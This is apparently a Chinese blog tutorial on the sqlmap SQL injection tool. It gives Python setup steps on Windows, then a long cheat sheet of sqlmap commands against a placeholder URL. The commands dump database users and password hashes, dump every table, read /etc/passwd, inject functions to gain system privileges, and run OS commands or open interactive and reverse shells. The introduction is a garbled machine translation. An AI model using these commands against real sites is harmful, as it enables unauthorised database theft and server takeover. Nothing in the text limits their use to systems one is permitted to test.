sql注入检测好工具sqlmap


  在WooYun上面看到了有人用Sqlmap检测http链接是否存在sql注入,于是趁机学习了一把sqlmap,现把自己在学习中碰到的一些问题分享给大家。

Sqlmap简介

  sqlmap 是一个自动SQL 射入工具。它是可胜任执行一个广泛的数据库管理系统后端指印, 检索遥远的DBMS 数据库, usernames, 桌, 专栏, 列举整个DBMS, 读了系统文件和利用导致SQL 射入弱点的网应用编程的安全漏洞。 

  sqlmap下载地址:

  想要运行sqlmap,必须安装python环境 

Python环境安装及配置

  Python 2.7.3 官方安装版()

默认情况下,在windows下安装python之后,系统并不会自动添加相应的环境变量。此时不能在命令行直接使用python命令。
1. 首先需要在系统中注册python环境变量:假设python的安装路径为c:python2.6,则修改我的电脑->属性->高级->环境变量->系统变量中的PATH为:
(为了在命令行模式下运行Python命令,需要将python.exe所在的目录附加到PATH这个环境变量中。)
PATH=PATH;c:python26
上述环境变量设置成功之后,就可以在命令行直接使用python命令。或执行"python *.py"运行python脚本了。
2. 此时,还是只能通过"python *.py"运行python脚本,若希望直接运行*.py,只需再修改另一个环境变量PATHEXT:

  PATHEXT=PATHEXT;.PY;.PYM

Sqlmap注意事项及用法

注意事项

  1.运行py文件后,您可能会碰到一下错误:failed to set __main__.__loader__,这个是一个bug,py文件不能放在含有中文的路径下,果然将py文件放到纯英文路径下就没问题了。

  2.sqlmap遇到url重写的时候怎么办?

  在需要注入的参数后面,注入就加上 * 号
例:
sqlmap.py -u “*/id2/2″
sqlmap.py -u ""

  sqlmap.py -u "x name=abc"  –current-user –current-db

用法

  sqlmap -u “http://url/news id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
sqlmap -u “http://url/news id=1″–users #列数据库用户
sqlmap -u “http://url/news id=1″–dbs#列数据库
sqlmap -u “http://url/news id=1″–passwords #数据库用户密码
sqlmap -u “http://url/news id=1″–passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap  -u  “http://url/news id=1″  –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u “http://url/news id=1″–dump-all -v 0 #列出所有数据库所有表
sqlmap -u “http://url/news id=1″–privileges #查看权限
sqlmap -u “http://url/news id=1″–privileges -U root #查看指定用户权限sqlmap -u “http://url/news id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news id=1″ –roles #枚举数据库用户角色
sqlmap -u “http://url/news id=1″–udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u “http://url/news id=1″–dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u “http://url/news id=1″–union-cols #union 查询表记录
sqlmap -u “http://url/news id=1″–cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news id=1″–b #获取banner信息
sqlmap -u “http://url/news id=1″–data “id=3″#post注入
sqlmap -u “http://url/news id=1″-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news id=1″–proxy“” #代理注 入
sqlmap -u “http://url/news id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
sqlmap -u “http://url/news id=1″–sql-shell #执行指定sql命令
sqlmap -u “http://url/news id=1″–file /etc/passwd
sqlmap -u “http://url/news id=1″–os-cmd=whoami #执行系统命令
sqlmap -u “http://url/news id=1″–os-shell #系统交互shell sqlmap -u “http://url/news id=1″ –os-pwn #反弹shell
sqlmap -u “http://url/news id=1″–reg-read #读取win系统注册表
sqlmap -u “http://url/news id=1″–dbs-o “sqlmap.log”#保存进度
sqlmap -u “http://url/news id=1″–dbs -o “sqlmap.log” –resume #恢复 已保存进度

Leave a Reply